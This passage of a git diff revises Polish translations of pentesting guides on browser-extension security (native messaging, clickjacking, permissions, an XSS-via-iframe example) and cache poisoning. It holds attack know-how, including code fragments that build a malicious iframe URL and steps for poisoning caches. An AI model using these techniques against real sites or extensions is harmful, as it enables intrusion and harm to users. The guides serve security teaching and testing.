pliku, istnieje tylko 1 ważny `type`, którym jest stdio (użyj stdin i stdout), a `allowed_origins` wskazuje rozszerzenia, które mogą uzyskać do niego dostęp (i nie mogą mieć znaku wieloznacznego). Chrome/Chromium będzie szukać tego json w niektórych rejestrach systemu Windows oraz w niektórych ścieżkach w macOS i Linux (więcej informacji w [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)). > [!TIP] -> Rozszerzenie przeglądarki również musi mieć zadeklarowane uprawnienie `nativeMessaing`, aby móc korzystać z tej komunikacji. +> Rozszerzenie przeglądarki również potrzebuje uprawnienia `nativeMessaing` zadeklarowanego, aby móc korzystać z tej komunikacji. -Tak wygląda kod niektórego skryptu tła wysyłającego wiadomości do aplikacji natywnej: +Tak wygląda kod skryptu tła wysyłającego wiadomości do aplikacji natywnej: ```javascript chrome.runtime.sendNativeMessage( "com.my_company.my_application", @@ -558,7 +558,7 @@ console.log("Received " + response) ``` W [**tym wpisie na blogu**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/) zaproponowano podatny wzór wykorzystujący natywne wiadomości: -1. Rozszerzenie przeglądarki ma wzór z użyciem symbolu wieloznacznego dla skryptu treści. +1. Rozszerzenie przeglądarki ma wzór wildcard dla skryptu treści. 2. Skrypt treści przesyła wiadomości `postMessage` do skryptu w tle za pomocą `sendMessage`. 3. Skrypt w tle przesyła wiadomość do aplikacji natywnej za pomocą `sendNativeMessage`. 4. Aplikacja natywna niebezpiecznie obsługuje wiadomość, co prowadzi do wykonania kodu. @@ -567,21 +567,21 @@ A w jego wnętrzu wyjaśniono przykład **przechodzenia z dowolnej strony do RCE ## Wrażliwe informacje w pamięci/kodzie/clipboard -Jeśli Rozszerzenie Przeglądarki przechowuje **wrażliwe informacje w swojej pamięci**, mogą one być **zrzucane** (szczególnie na maszynach z systemem Windows) i **wyszukiwane** w celu uzyskania tych informacji. +Jeśli Rozszerzenie Przeglądarki przechowuje **wrażliwe informacje w swojej pamięci**, mogą one być **zrzucane** (szczególnie na maszynach z systemem Windows) i **wyszukiwane** w tych informacjach. -Dlatego pamięć Rozszerzenia Przeglądarki **nie powinna być uważana za bezpieczną**, a **wrażliwe informacje**, takie jak dane logowania czy frazy mnemoniczne, **nie powinny być przechowywane**. +Dlatego pamięć Rozszerzenia Przeglądarki **nie powinna być uważana za bezpieczną** i **wrażliwe informacje** takie jak dane logowania czy frazy mnemoniczne **nie powinny być przechowywane**. Oczywiście, **nie umieszczaj wrażliwych informacji w kodzie**, ponieważ będą one **publiczne**. -Aby zrzucić pamięć z przeglądarki, możesz **zrzucić pamięć procesu** lub przejść do **ustawień** rozszerzenia przeglądarki, klikając **`Inspect pop-up`** -> W sekcji **`Memory`** -> **`Take a snapshot`** i **`CTRL+F`**, aby wyszukać w zrzucie wrażliwe informacje. +Aby zrzucić pamięć z przeglądarki, możesz **zrzucić pamięć procesu** lub przejść do **ustawień** rozszerzenia przeglądarki, klikając **`Inspect pop-up`** -> W sekcji **`Memory`** -> **`Take a snapshot`** i **`CTRL+F`** aby wyszukać w zrzucie wrażliwe informacje. -Ponadto, wysoce wrażliwe informacje, takie jak klucze mnemoniczne czy hasła, **nie powinny być kopiowane do schowka** (lub przynajmniej powinny być usuwane ze schowka w ciągu kilku sekund), ponieważ procesy monitorujące schowek będą mogły je uzyskać. +Ponadto, wysoce wrażliwe informacje, takie jak klucze mnemoniczne czy hasła, **nie powinny być kopiowane do schowka** (lub przynajmniej usunięte ze schowka w ciągu kilku sekund), ponieważ wtedy procesy monitorujące schowek będą mogły je zdobyć. ## Ładowanie rozszerzenia w przeglądarce -1. **Pobierz** Rozszerzenie Przeglądarki i rozpakuj je. -2. Przejdź do **`chrome://extensions/`** i **włącz** `Tryb dewelopera`. -3. Kliknij przycisk **`Load unpacked`**. +1. **Pobierz** Rozszerzenie Przeglądarki i rozpakuj je +2. Przejdź do **`chrome://extensions/`** i **włącz** `Tryb dewelopera` +3. Kliknij przycisk **`Load unpacked`** W **Firefoxie** przejdź do **`about:debugging#/runtime/this-firefox`** i kliknij przycisk **`Load Temporary Add-on`**. @@ -591,7 +591,7 @@ Kod źródłowy rozszerzenia Chrome można uzyskać na różne sposoby. Poniżej ### Pobierz rozszerzenie jako ZIP za pomocą wiersza poleceń -Kod źródłowy rozszerzenia Chrome można pobrać jako plik ZIP za pomocą wiersza poleceń. Wymaga to użycia `curl`, aby pobrać plik ZIP z określonego adresu URL, a następnie wyodrębnić zawartość pliku ZIP do katalogu. Oto kroki: +Kod źródłowy rozszerzenia Chrome można pobrać jako plik ZIP za pomocą wiersza poleceń. Wymaga to użycia `curl` do pobrania pliku ZIP z określonego adresu URL, a następnie wyodrębnienia zawartości pliku ZIP do katalogu. Oto kroki: 1. Zastąp `"extension_id"` rzeczywistym ID rozszerzenia. 2. Wykonaj następujące polecenia: @@ -670,7 +670,7 @@ Chociaż rozszerzenia przeglądarki mają **ograniczoną powierzchnię ataku**, - **Potencjalna analiza Clickjacking**: Wykrywanie stron HTML rozszerzenia z ustawionym dyrektywą [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources). Mogą być potencjalnie podatne na clickjacking w zależności od celu stron. - **Widok ostrzeżeń o uprawnieniach**: który pokazuje listę wszystkich ostrzeżeń o uprawnieniach Chrome, które będą wyświetlane, gdy użytkownik spróbuje zainstalować rozszerzenie. - **Niebezpieczna funkcja**: pokazuje lokalizację niebezpiecznych funkcji, które mogą być potencjalnie wykorzystywane przez atakującego (np. funkcje takie jak innerHTML, chrome.tabs.executeScript). -- **Punkty wejścia**: pokazuje, gdzie rozszerzenie przyjmuje dane wejściowe od użytkownika/zewnętrzne. To jest przydatne do zrozumienia powierzchni rozszerzenia i szukania potencjalnych punktów do wysyłania złośliwie skonstruowanych danych do rozszerzenia. +- **Punkty wejścia**: pokazuje, gdzie rozszerzenie przyjmuje dane wejściowe od użytkownika/zewnętrzne. Jest to przydatne do zrozumienia powierzchni rozszerzenia i szukania potencjalnych punktów do wysyłania złośliwie skonstruowanych danych do rozszerzenia. - Zarówno skanery Niebezpiecznych funkcji, jak i Punktów wejścia mają następujące elementy dla swoich wygenerowanych alertów: - Odpowiedni fragment kodu i linia, która spowodowała alert. - Opis problemu. diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md index b9a1c3dd8..4d93cf6cf 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md @@ -11,7 +11,7 @@ Jeśli nie wiesz, czym jest ClickJacking, sprawdź: ../clickjacking.md {{#endref}} -Rozszerzenia zawierają plik **`manifest.json`** i ten plik JSON ma pole `web_accessible_resources`. Oto co mówią [dokumenty Chrome](https://developer.chrome.com/extensions/manifest/web_accessible_resources): +Rozszerzenia zawierają plik **`manifest.json`**, a ten plik JSON ma pole `web_accessible_resources`. Oto co mówią [dokumenty Chrome](https://developer.chrome.com/extensions/manifest/web_accessible_resources): > Te zasoby będą dostępne na stronie internetowej za pośrednictwem adresu URL **`chrome-extension://[PACKAGE ID]/[PATH]`**, który można wygenerować za pomocą **`extension.getURL method`**. Zasoby z listy dozwolonej są serwowane z odpowiednimi nagłówkami CORS, więc są dostępne za pośrednictwem mechanizmów takich jak XHR.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1) @@ -32,7 +32,7 @@ W rozszerzeniu PrivacyBadger zidentyfikowano lukę związaną z katalogiem `skin "icons/*" ] ``` -Ta konfiguracja prowadziła do potencjalnego problemu z bezpieczeństwem. Konkretnie, plik `skin/popup.html`, który jest renderowany po interakcji z ikoną PrivacyBadger w przeglądarce, mógł być osadzony w `iframe`. To osadzenie mogło być wykorzystane do oszukania użytkowników, aby nieświadomie kliknęli "Wyłącz PrivacyBadger dla tej witryny". Taki krok naruszyłby prywatność użytkownika, wyłączając ochronę PrivacyBadger i potencjalnie narażając użytkownika na zwiększone śledzenie. Wizualna demonstracja tego exploit'u jest dostępna w przykładzie wideo ClickJacking pod adresem [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm). +Ta konfiguracja prowadziła do potencjalnego problemu z bezpieczeństwem. Konkretnie, plik `skin/popup.html`, który jest renderowany po interakcji z ikoną PrivacyBadger w przeglądarce, mógł być osadzony w `iframe`. To osadzenie mogło być wykorzystane do wprowadzenia użytkowników w błąd, aby nieumyślnie kliknęli "Wyłącz PrivacyBadger dla tej witryny". Taki krok naruszyłby prywatność użytkownika, wyłączając ochronę PrivacyBadger i potencjalnie narażając użytkownika na zwiększone śledzenie. Wizualna demonstracja tego exploit'u jest dostępna w przykładzie wideo ClickJacking pod adresem [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm). Aby rozwiązać tę lukę, wdrożono proste rozwiązanie: usunięcie `/skin/*` z listy `web_accessible_resources`. Ta zmiana skutecznie zminimalizowała ryzyko, zapewniając, że zawartość katalogu `skin/` nie mogła być dostępna ani manipulowana przez zasoby dostępne w sieci. @@ -79,7 +79,7 @@ A [**blog post about a ClickJacking in metamask can be found here**](https://slo
-**Inna luka ClickJacking naprawiona** w rozszerzeniu Metamask polegała na tym, że użytkownicy mogli **Kliknąć, aby dodać do białej listy**, gdy strona była podejrzana o phishing z powodu `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Ponieważ ta strona była podatna na Clickjacking, atakujący mógł to wykorzystać, pokazując coś normalnego, aby ofiara kliknęła, aby dodać do białej listy, nie zauważając tego, a następnie wracając do strony phishingowej, która zostanie dodana do białej listy. +**Inna luka ClickJacking naprawiona** w rozszerzeniu Metamask polegała na tym, że użytkownicy mogli **Click to whitelist**, gdy strona była podejrzana o phishing z powodu `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Ponieważ ta strona była podatna na Clickjacking, atakujący mógł to wykorzystać, pokazując coś normalnego, aby ofiara kliknęła, aby dodać do białej listy, nie zauważając tego, a następnie wracając do strony phishingowej, która zostanie dodana do białej listy. ## Przykład Steam Inventory Helper diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md index 3eef27930..3ddbc2b9d 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md @@ -1,4 +1,4 @@ -# BrowExt - uprawnienia & host_permissions +# BrowExt - uprawnienia i host_permissions {{#include ../../banners/hacktricks-training.md}} @@ -43,43 +43,43 @@ Te hosty, do których rozszerzenie przeglądarki ma swobodny dostęp. Dzieje si ### Karty -Ponadto **`host_permissions`** odblokowuje również „zaawansowane” [**API kart**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) **funkcjonalności.** Umożliwiają one rozszerzeniu wywołanie [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) i nie tylko uzyskanie **listy kart przeglądarki użytkownika**, ale także dowiedzenie się, która **strona internetowa (czyli adres i tytuł) jest załadowana**. +Ponadto **`host_permissions`** odblokowują również „zaawansowane” [**API kart**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) **funkcjonalności.** Umożliwiają one rozszerzeniu wywoływanie [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) i nie tylko uzyskiwanie **listy kart przeglądarki użytkownika**, ale także dowiadywanie się, która **strona internetowa (czyli adres i tytuł) jest załadowana**. > [!CAUTION] > Nie tylko to, ale również nasłuchiwacze, takie jak [**tabs.onUpdated**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated) **stają się znacznie bardziej użyteczne.** Będą powiadamiane za każdym razem, gdy nowa strona ładowana jest do karty. ### Uruchamianie skryptów treści -Skrypty treści nie muszą być koniecznie statycznie zapisane w manifeście rozszerzenia. Przy wystarczających **`host_permissions`**, **rozszerzenia mogą również ładować je dynamicznie, wywołując** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **lub** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript). +Skrypty treści nie muszą być koniecznie zapisane statycznie w manifeście rozszerzenia. Przy wystarczających **`host_permissions`**, **rozszerzenia mogą również ładować je dynamicznie, wywołując** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **lub** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript). Oba API pozwalają na wykonywanie nie tylko plików zawartych w rozszerzeniach jako skryptów treści, ale także **dowolnego kodu**. Pierwsze pozwala na przekazywanie kodu JavaScript jako ciągu, podczas gdy drugie oczekuje funkcji JavaScript, która jest mniej podatna na luki w zabezpieczeniach związane z wstrzykiwaniem. Mimo to, oba API mogą wyrządzić poważne szkody, jeśli są niewłaściwie używane. > [!CAUTION] -> Oprócz powyższych możliwości, skrypty treści mogą na przykład **przechwytywać dane uwierzytelniające**, gdy są wprowadzane na stronach internetowych. Innym klasycznym sposobem ich nadużycia jest **wstrzykiwanie reklam** na każdej stronie internetowej. Możliwe jest również dodawanie **wiadomości oszukańczych**, aby nadużyć wiarygodności stron informacyjnych. Wreszcie, mogą **manipulować stronami bankowymi**, aby przekierowywać przelewy pieniężne. +> Oprócz powyższych możliwości, skrypty treści mogą na przykład **przechwytywać dane uwierzytelniające**, gdy są one wprowadzane na stronach internetowych. Innym klasycznym sposobem ich nadużycia jest **wstrzykiwanie reklam** na każdej stronie internetowej. Możliwe jest również dodawanie **wiadomości oszukańczych**, aby nadużyć wiarygodności stron informacyjnych. Wreszcie, mogą **manipulować stronami bankowymi**, aby przekierowywać przelewy pieniężne. ### Uprawnienia domyślne -Niektóre uprawnienia rozszerzenia **nie muszą być wyraźnie zadeklarowane**. Przykładem jest [API kart](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): jego podstawowa funkcjonalność jest dostępna bez jakichkolwiek uprawnień. Każde rozszerzenie może być powiadamiane, gdy otwierasz i zamykasz karty, po prostu nie będzie wiedziało, z jaką stroną internetową te karty są powiązane. +Niektóre uprawnienia rozszerzenia **nie muszą być jawnie deklarowane**. Przykładem jest [API kart](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): jego podstawowa funkcjonalność jest dostępna bez jakichkolwiek uprawnień. Każde rozszerzenie może być powiadamiane, gdy otwierasz i zamykasz karty, po prostu nie będzie wiedziało, z jaką stroną internetową te karty są związane. Brzmi zbyt nieszkodliwie? [API tabs.create()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) jest nieco mniej takie. Może być używane do **tworzenia nowej karty**, zasadniczo tak samo jak [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open), które może być wywoływane przez każdą stronę internetową. Jednak podczas gdy `window.open()` podlega **blokadzie wyskakujących okienek, `tabs.create()` nie podlega**. > [!CAUTION] > Rozszerzenie może tworzyć dowolną liczbę kart, kiedy tylko chce. -Jeśli przejrzysz możliwe parametry `tabs.create()`, zauważysz również, że jego możliwości wykraczają daleko poza to, co `window.open()` może kontrolować. I podczas gdy Firefox nie pozwala na użycie URI `data:` z tym API, Chrome nie ma takiej ochrony. **Użycie takich URI na najwyższym poziomie zostało** [**zakazane z powodu nadużyć związanych z phishingiem**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**.** +Jeśli przejrzysz możliwe parametry `tabs.create()`, zauważysz również, że jego możliwości wykraczają daleko poza to, co `window.open()` ma prawo kontrolować. I podczas gdy Firefox nie pozwala na użycie URI `data:` z tym API, Chrome nie ma takiej ochrony. **Użycie takich URI na najwyższym poziomie zostało** [**zakazane z powodu nadużyć związanych z phishingiem**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**.** -[**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update) jest bardzo podobne do `tabs.create()`, ale **modyfikuje istniejącą kartę**. Tak więc złośliwe rozszerzenie może na przykład dowolnie załadować stronę reklamową do jednej z twoich kart i może również aktywować odpowiadającą kartę. +[**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update) jest bardzo podobne do `tabs.create()`, ale **modyfikuje istniejącą kartę**. Tak więc złośliwe rozszerzenie może na przykład dowolnie załadować stronę reklamową do jednej z twoich kart i może również aktywować odpowiadającą jej kartę. ### Kamera internetowa, geolokalizacja i inne Prawdopodobnie wiesz, że strony internetowe mogą żądać specjalnych uprawnień, np. w celu uzyskania dostępu do twojej kamery internetowej (narzędzia do wideokonferencji) lub lokalizacji geograficznej (mapy). To funkcje z dużym potencjałem nadużyć, więc użytkownicy muszą za każdym razem potwierdzać, że nadal chcą tego. > [!CAUTION] -> Nie w przypadku rozszerzeń przeglądarki. **Jeśli rozszerzenie przeglądarki** [**chce uzyskać dostęp do twojej kamery internetowej lub mikrofonu**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, musi tylko raz poprosić o pozwolenie** +> Nie tak w przypadku rozszerzeń przeglądarki. **Jeśli rozszerzenie przeglądarki** [**chce uzyskać dostęp do twojej kamery internetowej lub mikrofonu**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, musi tylko raz poprosić o pozwolenie** Zazwyczaj rozszerzenie robi to natychmiast po zainstalowaniu. Gdy to zapytanie zostanie zaakceptowane, **dostęp do kamery internetowej jest możliwy w dowolnym momencie**, nawet jeśli użytkownik w tym momencie nie wchodzi w interakcję z rozszerzeniem. Tak, użytkownik zaakceptuje to zapytanie tylko wtedy, gdy rozszerzenie naprawdę potrzebuje dostępu do kamery internetowej. Ale po tym muszą zaufać rozszerzeniu, że nie nagra nic w tajemnicy. -Z dostępem do [twojej dokładnej lokalizacji geograficznej](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) lub [zawartości twojego schowka](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API), udzielenie pozwolenia jest całkowicie niepotrzebne. **Rozszerzenie po prostu dodaje `geolocation` lub `clipboard` do** [**wpisu uprawnień**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **swojego manifestu**. Te uprawnienia dostępu są następnie przyznawane domyślnie, gdy rozszerzenie jest instalowane. Tak więc złośliwe lub skompromitowane rozszerzenie z tymi uprawnieniami może stworzyć twój profil ruchu lub monitorować twój schowek w poszukiwaniu skopiowanych haseł, nie zauważając niczego. +Dzięki dostępowi do [twojej dokładnej lokalizacji geograficznej](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) lub [zawartości twojego schowka](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API), udzielenie pozwolenia jest całkowicie niepotrzebne. **Rozszerzenie po prostu dodaje `geolocation` lub `clipboard` do** [**wpisu uprawnień**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **swojego manifestu**. Te uprawnienia dostępu są następnie przyznawane domyślnie, gdy rozszerzenie jest instalowane. Tak więc złośliwe lub skompromitowane rozszerzenie z tymi uprawnieniami może stworzyć twój profil ruchu lub monitorować twój schowek w poszukiwaniu skopiowanych haseł, nie zauważając niczego. Dodanie słowa kluczowego **`history`** do [wpisu uprawnień](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) manifestu rozszerzenia przyznaje **dostęp do** [**API historii**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). Umożliwia to pobranie całej historii przeglądania użytkownika za jednym razem, bez czekania, aż użytkownik ponownie odwiedzi te strony internetowe. @@ -93,13 +93,13 @@ Jednak firmy reklamowe mogą również nadużywać tego przechowywania. ### Więcej uprawnień -Możesz znaleźć [**pełną listę uprawnień, o które może prosić rozszerzenie przeglądarki Chromium tutaj**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) oraz [**pełną listę dla rozszerzeń Firefox tutaj**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**.** +Możesz znaleźć [**pełną listę uprawnień, które może żądać rozszerzenie przeglądarki Chromium tutaj**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) oraz [**pełną listę dla rozszerzeń Firefox tutaj**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**.** ## Zapobieganie -Polityka dewelopera Google wyraźnie zabrania rozszerzeniom żądania większych uprawnień niż to konieczne do ich funkcjonalności, skutecznie łagodząc nadmierne żądania uprawnień. Przykładem, w którym rozszerzenie przeglądarki przekroczyło tę granicę, było jego dystrybucja z samą przeglądarką, a nie przez sklep z dodatkami. +Polityka dewelopera Google wyraźnie zabrania rozszerzeniom żądania większych uprawnień niż to konieczne do ich funkcjonalności, skutecznie łagodząc nadmierne żądania uprawnień. Przykładem, w którym rozszerzenie przeglądarki przekroczyło tę granicę, było jego dystrybuowanie z samą przeglądarką, a nie przez sklep z dodatkami. -Przeglądarki mogłyby dodatkowo ograniczyć nadużycia uprawnień rozszerzeń. Na przykład, API [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) i [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) w Chrome, używane do nagrywania ekranu, są zaprojektowane w celu minimalizacji nadużyć. API tabCapture może być aktywowane tylko poprzez bezpośrednią interakcję użytkownika, taką jak kliknięcie na ikonę rozszerzenia, podczas gdy desktopCapture wymaga potwierdzenia użytkownika, aby okno mogło być nagrywane, zapobiegając potajemnym nagraniom. +Przeglądarki mogłyby dodatkowo ograniczyć nadużycia uprawnień rozszerzeń. Na przykład, API [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) i [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) Chrome, używane do nagrywania ekranu, są zaprojektowane w celu minimalizacji nadużyć. API tabCapture może być aktywowane tylko poprzez bezpośrednią interakcję użytkownika, taką jak kliknięcie na ikonę rozszerzenia, podczas gdy desktopCapture wymaga potwierdzenia użytkownika, aby okno mogło być nagrywane, zapobiegając potajemnym nagraniom. Jednak zaostrzenie środków bezpieczeństwa często prowadzi do zmniejszenia elastyczności i przyjazności dla użytkownika rozszerzeń. Uprawnienie [activeTab](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) ilustruje ten kompromis. Zostało wprowadzone, aby wyeliminować potrzebę, aby rozszerzenia żądały uprawnień hosta w całym internecie, pozwalając rozszerzeniom na dostęp tylko do bieżącej karty po wyraźnej aktywacji przez użytkownika. Ten model jest skuteczny dla rozszerzeń wymagających działań inicjowanych przez użytkownika, ale nie sprawdza się w przypadku tych, które wymagają automatycznych lub prewencyjnych działań, co kompromituje wygodę i natychmiastową reakcję. diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md index 0dc70debf..2c61dbbd6 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md @@ -1,10 +1,10 @@ -# BrowExt - XSS Example +# BrowExt - Przykład XSS {{#include ../../banners/hacktricks-training.md}} ## Cross-Site Scripting (XSS) przez Iframe -W tej konfiguracji implementowany jest **skrypt treści**, który instancjonuje Iframe, włączając adres URL z parametrami zapytania jako źródło Iframe: +W tej konfiguracji implementowany jest **skrypt zawartości**, który instancjonuje Iframe, włączając URL z parametrami zapytania jako źródło Iframe: ```javascript chrome.storage.local.get("message", (result) => { let constructedURL = @@ -40,7 +40,7 @@ let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}` document.querySelector("iframe").src = maliciousURL }, 1000) ``` -Zbyt liberalna Polityka Bezpieczeństwa Treści, taka jak: +Zbyt liberalna polityka bezpieczeństwa treści, taka jak: ```json "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';" ``` diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md index f557aa911..47dbeb90e 100644 --- a/src/pentesting-web/cache-deception/README.md +++ b/src/pentesting-web/cache-deception/README.md @@ -1,19 +1,19 @@ -# Zatrucie pamięci podręcznej i oszustwo pamięci podręcznej +# Cache Poisoning i Cache Deception {{#include ../../banners/hacktricks-training.md}} ## Różnica -> **Jaka jest różnica między zatruciem pamięci podręcznej a oszustwem pamięci podręcznej?** +> **Jaka jest różnica między web cache poisoning a web cache deception?** > -> - W **zatruciu pamięci podręcznej** atakujący powoduje, że aplikacja przechowuje w pamięci podręcznej złośliwą zawartość, która jest następnie serwowana innym użytkownikom aplikacji. -> - W **oszustwie pamięci podręcznej** atakujący powoduje, że aplikacja przechowuje w pamięci podręcznej wrażliwą zawartość należącą do innego użytkownika, a następnie atakujący odzyskuje tę zawartość z pamięci podręcznej. +> - W **web cache poisoning** atakujący powoduje, że aplikacja przechowuje złośliwą zawartość w pamięci podręcznej, a ta zawartość jest serwowana z pamięci podręcznej innym użytkownikom aplikacji. +> - W **web cache deception** atakujący powoduje, że aplikacja przechowuje w pamięci podręcznej wrażliwą zawartość należącą do innego użytkownika, a następnie atakujący odzyskuje tę zawartość z pamięci podręcznej. -## Zatrucie pamięci podręcznej +## Cache Poisoning -Zatrucie pamięci podręcznej ma na celu manipulację pamięcią podręczną po stronie klienta, aby zmusić klientów do ładowania zasobów, które są nieoczekiwane, częściowe lub pod kontrolą atakującego. Zakres wpływu zależy od popularności dotkniętej strony, ponieważ skażona odpowiedź jest serwowana wyłącznie użytkownikom odwiedzającym stronę w okresie zanieczyszczenia pamięci podręcznej. +Cache poisoning ma na celu manipulację pamięcią podręczną po stronie klienta, aby zmusić klientów do ładowania zasobów, które są nieoczekiwane, częściowe lub pod kontrolą atakującego. Zakres wpływu zależy od popularności dotkniętej strony, ponieważ skażona odpowiedź jest serwowana wyłącznie użytkownikom odwiedzającym stronę w okresie zanieczyszczenia pamięci podręcznej. -Wykonanie ataku typu zatrucie pamięci podręcznej obejmuje kilka kroków: +Wykonanie ataku cache poisoning obejmuje kilka kroków: 1. **Identyfikacja niekluczowych wejść**: Są to parametry, które, chociaż nie są wymagane do zbuforowania żądania, mogą zmieniać odpowiedź zwracaną przez serwer. Identyfikacja tych wejść jest kluczowa, ponieważ mogą być wykorzystywane do manipulacji pamięcią podręczną. 2. **Wykorzystanie niekluczowych wejść**: Po zidentyfikowaniu niekluczowych wejść, kolejnym krokiem jest ustalenie, jak niewłaściwie wykorzystać te parametry, aby zmodyfikować odpowiedź serwera w sposób korzystny dla atakującego. @@ -21,29 +21,29 @@ Wykonanie ataku typu zatrucie pamięci podręcznej obejmuje kilka kroków: ### Odkrycie: Sprawdź nagłówki HTTP -Zazwyczaj, gdy odpowiedź została **przechowana w pamięci podręcznej**, będzie **nagłówek to wskazujący**, możesz sprawdzić, które nagłówki powinieneś obserwować w tym poście: [**Nagłówki pamięci podręcznej HTTP**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers). +Zazwyczaj, gdy odpowiedź została **przechowywana w pamięci podręcznej**, będzie **nagłówek to wskazujący**, możesz sprawdzić, które nagłówki powinieneś obserwować w tym poście: [**Nagłówki pamięci podręcznej HTTP**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers). ### Odkrycie: Kody błędów pamięci podręcznej -Jeśli myślisz, że odpowiedź jest przechowywana w pamięci podręcznej, możesz spróbować **wysłać żądania z błędnym nagłówkiem**, na które powinieneś otrzymać **kod statusu 400**. Następnie spróbuj uzyskać dostęp do żądania normalnie, a jeśli **odpowiedź to kod statusu 400**, wiesz, że jest podatne (a nawet możesz przeprowadzić DoS). +Jeśli myślisz, że odpowiedź jest przechowywana w pamięci podręcznej, możesz spróbować **wysłać żądania z błędnym nagłówkiem**, na które powinno być odpowiedziane **kodem statusu 400**. Następnie spróbuj uzyskać dostęp do żądania normalnie, a jeśli **odpowiedź to kod statusu 400**, wiesz, że jest podatne (a nawet możesz przeprowadzić DoS). -Więcej opcji znajdziesz w: +Możesz znaleźć więcej opcji w: {{#ref}} cache-poisoning-to-dos.md {{#endref}} -Jednak pamiętaj, że **czasami te rodzaje kodów statusu nie są buforowane**, więc ten test może nie być wiarygodny. +Jednak zauważ, że **czasami te rodzaje kodów statusu nie są buforowane**, więc ten test może nie być wiarygodny. ### Odkrycie: Identyfikacja i ocena niekluczowych wejść -Możesz użyć [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943), aby **bruteforce'ować parametry i nagłówki**, które mogą **zmieniać odpowiedź strony**. Na przykład, strona może używać nagłówka `X-Forwarded-For`, aby wskazać klientowi załadowanie skryptu stamtąd: +Możesz użyć [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943), aby **brute-forcować parametry i nagłówki**, które mogą **zmieniać odpowiedź strony**. Na przykład, strona może używać nagłówka `X-Forwarded-For`, aby wskazać klientowi załadowanie skryptu stamtąd: ```markup ``` ### Wydobycie szkodliwej 